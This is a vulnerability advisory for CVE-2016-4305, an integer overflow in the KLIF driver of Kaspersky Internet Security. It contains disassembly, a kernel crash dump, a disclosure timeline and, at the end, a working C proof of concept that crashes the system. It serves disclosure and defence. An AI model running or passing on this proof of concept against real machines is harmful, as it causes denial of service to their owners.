Kaspersky Internet Security KLIF Driver NtAdjustTokenPrivileges_HANDLER Denial of Service(CVE-2016-4305)

2017-10-13T00:00:00
ID SSV:96677
Type seebug
Reporter Root
Modified 2017-10-13T00:00:00

Description

Summary

A denial of service vulnerability exists in the syscall filtering functionality of Kaspersky Internet Security KLIF driver. A specially crafted native api call can cause a access violation in KLIF kernel driver resulting in local denial of service. An attacker can run program from user mode to trigger this vulnerability.

Tested Versions

Kaspersky Internet Security 16.0.0, KLIF driver version 10.0.0.1532

Product URLs

http://kaspersky.com

CVSSv3 Score

5.5 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Details

This vulnerability can be triggered by sending specially crafted NtAdjustTokenPrivileges call. Kaspersky x86 platforms by default hooks internal Windows kernel functions. This includes functions from KiServiceTable and W32pServiceTable. Even though new function hooks point to the KLHK driver the real ones are located in the KLIF driver - KLHK driver acts more like a dispatcher.

The faulting code is located in the KLIF driver in a function responsible for filtering the NtAdjustTokenPrivileges: PAGE:000A218C mov ecx, [ebp+var_14_copyTokenPrivleges_Count] ; ! PAGE:000A218F test ecx, ecx PAGE:000A2191 jz short loc_A21D5 PAGE:000A2193 cmp ecx, 1 PAGE:000A2196 jnz short loc_A219E PAGE:000A2198 push ecx PAGE:000A2199 lea eax, [ebp+var_10] PAGE:000A219C jmp short loc_A21CA PAGE:000A219E ; --------------------------------------------------------------------------- PAGE:000A219E PAGE:000A219E loc_A219E: ; CODE XREF: ntHANDLER_NtAdjustPrivilegesToken+F4j PAGE:000A219E imul ecx, 0Ch ; !! PAGE:000A21A1 push 'puLK' ; Tag PAGE:000A21A6 push 1 ; PoolType PAGE:000A21A8 add ecx, 4 ; !!! PAGE:000A21AB push ecx ; NumberOfBytes PAGE:000A21AC push [ebp+var_1C_pNewState] ; void * PAGE:000A21AF lea eax, [ebp+P] PAGE:000A21B2 push eax ; int PAGE:000A21B3 call AllocAndCopySafe PAGE:000A21B8 mov esi, eax PAGE:000A21BA test esi, esi PAGE:000A21BC js loc_A211F PAGE:000A21C2 mov eax, [ebp+P] PAGE:000A21C5 push dword ptr [eax] ; int PAGE:000A21C7 add eax, 4 PAGE:000A21CA PAGE:000A21CA loc_A21CA: ; CODE XREF: ntHANDLER_NtAdjustPrivilegesToken+FAj PAGE:000A21CA push eax ; void * PAGE:000A21CB call sub_A889A ............. PAGE:000A88A9 cmp [ebp+arg_4_TokenPrivilegeCount], esi PAGE:000A88AC jbe loc_A893A PAGE:000A88B2 push ebx PAGE:000A88B3 mov ebx, [ebp+arg_0] PAGE:000A88B6 PAGE:000A88B6 loop_continue: ; CODE XREF: sub_A889A+96j PAGE:000A88B6 mov eax, ds:SeExports PAGE:000A88BB mov edx, [ebx] ; memory read, crash PAGE:000A88BD mov ecx, [eax] PAGE:000A88BF cmp [ecx+90h], edx PAGE:000A88C5 jnz short loc_A88D2 PAGE:000A88C7 mov eax, [ecx+94h] PAGE:000A88CD cmp eax, [ebx+4] PAGE:000A88D0 jz short loc_A88F2 ............. PAGE:000A8923 loc_A8923: ; CODE XREF: sub_A889A+4Ej PAGE:000A8923 ; sub_A889A+56j ... PAGE:000A8923 mov eax, [ebp+var_4] PAGE:000A8926 inc eax PAGE:000A8927 add ebx, 0Ch ; increase memory PAGE:000A892A mov [ebp+var_4], eax PAGE:000A892D cmp eax, [ebp+arg_4_TokenPrivilegeCount] PAGE:000A8930 jb short loop_continue

At 0x000A218C ECX is initialized by TOKENPRIVILEGES.PrivilegeCount supplied by attacker. This value is later multiplied (at 0x00A219E) and increased (0x000A21A8) which can lead to integer overflow. For example by supplying TOKENPRIVILEGES.PrivilegeCount to be 0x80000000 we can force the ecx after final calculation to be 0x4. This allows the attacker to pass security checks in the AllocAndCopySafe procedure testing whether user supplied data is located in user mode memory etc.

The crash happens in the "subA889A" routine which takes the forged TOKENPRIVILEGES.PrivilegeCount and bases a loop iteration on this value. So for example attacker can force loop to be executed 0x80000000 times. Since by each loop iteration the requested memory address for read operation is increased, sooner or later KLIF driver will access unavailable memory which will lead to system crash.

Crash Information

``` KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Some common problems are exception code 0x80000003. This means a hard coded breakpoint or assertion was hit, but this system was booted /NODEBUG. This is not supposed to happen as developers should never have hardcoded breakpoints in retail code, but ... If this happens, make sure a debugger gets connected, and the system is booted /DEBUG. This will let us see why this breakpoint is happening. Arguments: Arg1: c0000006, The exception code that was not handled Arg2: 8b8ce8bb, The address that the exception occurred at Arg3: 8200fae4, Trap Frame Arg4: 00000000

Debugging Details:

EXCEPTION_CODE: (NTSTATUS) 0xc0000006 - Instrukcja spod 0x%p odwo

FAULTING_IP: klif+988bb 8b8ce8bb 8b13 mov edx,dword ptr [ebx]

TRAP_FRAME: 8200fae4 -- (.trap 0xffffffff8200fae4) ErrCode = 00000000 eax=82baf700 ebx=91c00008 ecx=82baf708 edx=00000012 esi=00000000 edi=00000000 eip=8b8ce8bb esp=8200fb58 ebp=8200fb68 iopl=0 ov up ei ng nz na pe cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010a87 klif+0x988bb: 8b8ce8bb 8b13 mov edx,dword ptr [ebx] ds:0023:91c00008=???????? Resetting default scope

DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT

BUGCHECK_STR: 0x8E

PROCESS_NAME: poc_kaspersky1

CURRENT_IRQL: 2

ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) amd64fre

LAST_CONTROL_TRANSFER: from 82923083 to 828bf110

STACK_TEXT: 8200f09c 82923083 00000003 750dac45 00000065 nt!RtlpBreakWithStatusInstruction 8200f0ec 82923b81 00000003 8200f4f0 00000000 nt!KiBugCheckDebugBreak+0x1c 8200f4b0 82922f20 0000008e c0000006 8b8ce8bb nt!KeBugCheck2+0x68b 8200f4d4 828f908c 0000008e c0000006 8b8ce8bb nt!KeBugCheckEx+0x1e 8200fa74 82882dd6 8200fa90 00000000 8200fae4 nt!KiDispatchException+0x1ac 8200fadc 8288551b 8200fb68 8b8ce8bb badb0d00 nt!CommonDispatchException+0x4a 8200fadc 8b8ce8bb 8200fb68 8b8ce8bb badb0d00 nt!KiTrap0E+0x21f WARNING: Stack unwind information not available. Following frames may be wrong. 8200fb68 8b8c81d0 91a762f4 80000000 8200fbd8 klif+0x988bb 8200fbb8 8b92d05a 00000040 00000000 0016fb94 klif+0x921d0 8200fbe0 8b92e206 8b8c80a2 8200fc1c 00000018 klhk!Ordinal11+0x1a 8200fbfc 8b92d01f 85f91008 8200fc1c 8200fc10 klhk!Ordinal11+0x11c6 8200fc14 828821ea 00000040 00000000 0016fb94 klhk+0x101f 8200fc14 776370b4 00000040 00000000 0016fb94 nt!KiFastCallEntry+0x12a 0016fb44 77635274 75819c7c 00000040 00000000 ntdll!KiFastSystemCallRet 0016fb48 75819c7c 00000040 00000000 0016fb94 ntdll!ZwAdjustPrivilegesToken+0xc 0016fb6c 01171059 00000040 00000000 0016fb94 KERNELBASE!AdjustTokenPrivileges+0x1e 0016fc00 011718cf 0016fc14 77313c45 7ffda000 poc_kaspersky1+0x1059 0016fc08 77313c45 7ffda000 0016fc54 776537f5 poc_kaspersky1+0x18cf 0016fc14 776537f5 7ffda000 777b190c 00000000 kernel32!BaseThreadInitThunk+0xe 0016fc54 776537c8 011718c0 7ffda000 00000000 ntdll!__RtlUserThreadStart+0x70 0016fc6c 00000000 011718c0 7ffda000 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND: kb

FOLLOWUP_IP: klif+988bb 8b8ce8bb 8b13 mov edx,dword ptr [ebx]

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: klif+988bb

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: klif

IMAGE_NAME: klif.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 563cb397

IMAGE_VERSION: 10.0.0.1532

FAILURE_BUCKET_ID: 0x8E_klif+988bb

BUCKET_ID: 0x8E_klif+988bb

ANALYSIS_SOURCE: KM

FAILURE_ID_HASH_STRING: km:0x8e_klif+988bb

FAILURE_ID_HASH: {f73b483f-fbd2-23f7-3bf6-f0e859f2245f}

Followup: MachineOwner

```

Timeline

  • 2016-04-29 - Vendor Notification
  • 2016-08-26 – Patch Released
  • 2016-08-26 – Public Disclosure
                                        
                                            
                                                #include <stdio.h>
#include <windows.h>

int main(void)
{
    HANDLE              hToken;
    TOKEN_PRIVILEGES    tp2;
    TOKEN_PRIVILEGES    tp;
    memset(&tp, 0xCC, sizeof(TOKEN_PRIVILEGES));

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
    tp.PrivilegeCount   =   0x80000000;
    DWORD out_size      =   sizeof(TOKEN_PRIVILEGES);

    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), &tp2, &out_size);

    return 0;
}